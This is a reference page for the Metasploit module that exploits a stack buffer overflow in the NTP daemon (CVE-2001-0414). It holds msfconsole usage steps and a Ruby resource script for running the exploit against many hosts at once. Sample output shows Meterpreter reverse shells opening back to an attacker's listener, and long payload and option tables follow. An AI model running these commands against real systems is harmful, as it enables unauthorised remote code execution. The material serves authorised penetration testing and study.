NTP Daemon readvar Buffer Overflow - Metasploit


This page contains detailed information about how to use the exploit/multi/ntp/ntp_overflow metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: NTP Daemon readvar Buffer Overflow
Module: exploit/multi/ntp/ntp_overflow
Source code: modules/exploits/multi/ntp/ntp_overflow.rb
Disclosure date: 2001-04-04
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): x86
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): 123
List of CVEs: CVE-2001-0414

This module exploits a stack based buffer overflow in the ntpd and xntpd service. By sending an overly long 'readvar' request it is possible to execute code remotely. As the stack is corrupted, this module uses the Egghunter technique.

Module Ranking and Traits

Module Ranking:

  • good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.

Basic Usage

Using ntp_overflow against a single host

Normally, you can use exploit/multi/ntp/ntp_overflow this way:

msf > use exploit/multi/ntp/ntp_overflow
msf exploit(ntp_overflow) > show targets
    ... a list of targets ...
msf exploit(ntp_overflow) > set TARGET target-id
msf exploit(ntp_overflow) > show options
    ... show and set options ...
msf exploit(ntp_overflow) > exploit

Using ntp_overflow against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your ntp_overflow will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/multi/ntp/ntp_overflow")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the multi/ntp/ntp_overflow exploit module looks in the msfconsole:

msf6 > use exploit/multi/ntp/ntp_overflow

[*] No payload configured, defaulting to generic/shell_bind_tcp
msf6 exploit(multi/ntp/ntp_overflow) > show info

       Name: NTP Daemon readvar Buffer Overflow
     Module: exploit/multi/ntp/ntp_overflow
   Platform: Linux
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2001-04-04

Provided by:
  aushack <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   RedHat Linux 7.0 ntpd 4.0.99j
  1   RedHat Linux 7.0 ntpd 4.0.99j w/debug
  2   RedHat Linux 7.0 ntpd 4.0.99k
  3   Debugging

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   123              yes       The target port (UDP)

Payload information:
  Space: 220
  Avoid: 6 characters

Description:
  This module exploits a stack based buffer overflow in the ntpd and 
  xntpd service. By sending an overly long 'readvar' request it is 
  possible to execute code remotely. As the stack is corrupted, this 
  module uses the Egghunter technique.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2001-0414
  OSVDB (805)
  http://www.securityfocus.com/bid/2540
  https://www.kb.cert.org/vuls/id/970472

Module Options

This is a complete list of options available in the multi/ntp/ntp_overflow exploit:

msf6 exploit(multi/ntp/ntp_overflow) > show options

Module options (exploit/multi/ntp/ntp_overflow):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   123              yes       The target port (UDP)

Payload options (generic/shell_bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST                   no        The target address

Exploit target:

   Id  Name
   --  ----
   0   RedHat Linux 7.0 ntpd 4.0.99j

Advanced Options

Here is a complete list of advanced options supported by the multi/ntp/ntp_overflow exploit:

msf6 exploit(multi/ntp/ntp_overflow) > show advanced

Module advanced options (exploit/multi/ntp/ntp_overflow):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (generic/shell_bind_tcp):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   ARCH                        no        The architecture that is being targeted
   PLATFORM                    no        The platform that is being targeted
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the multi/ntp/ntp_overflow module can exploit:

msf6 exploit(multi/ntp/ntp_overflow) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   RedHat Linux 7.0 ntpd 4.0.99j
   1   RedHat Linux 7.0 ntpd 4.0.99j w/debug
   2   RedHat Linux 7.0 ntpd 4.0.99k
   3   Debugging

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the multi/ntp/ntp_overflow exploit:

msf6 exploit(multi/ntp/ntp_overflow) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   4   payload/linux/x86/adduser                                          normal  No     Linux Add User
   5   payload/linux/x86/chmod                                            normal  No     Linux Chmod
   6   payload/linux/x86/exec                                             normal  No     Linux Execute Command
   7   payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   8   payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   9   payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   10  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   11  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   12  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   13  payload/linux/x86/read_file                                        normal  No     Linux Read File
   14  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   15  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   16  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   17  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   18  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   19  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   20  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   21  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline

Evasion Options

Here is the full list of possible evasion options supported by the multi/ntp/ntp_overflow exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/ntp/ntp_overflow) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

aushack

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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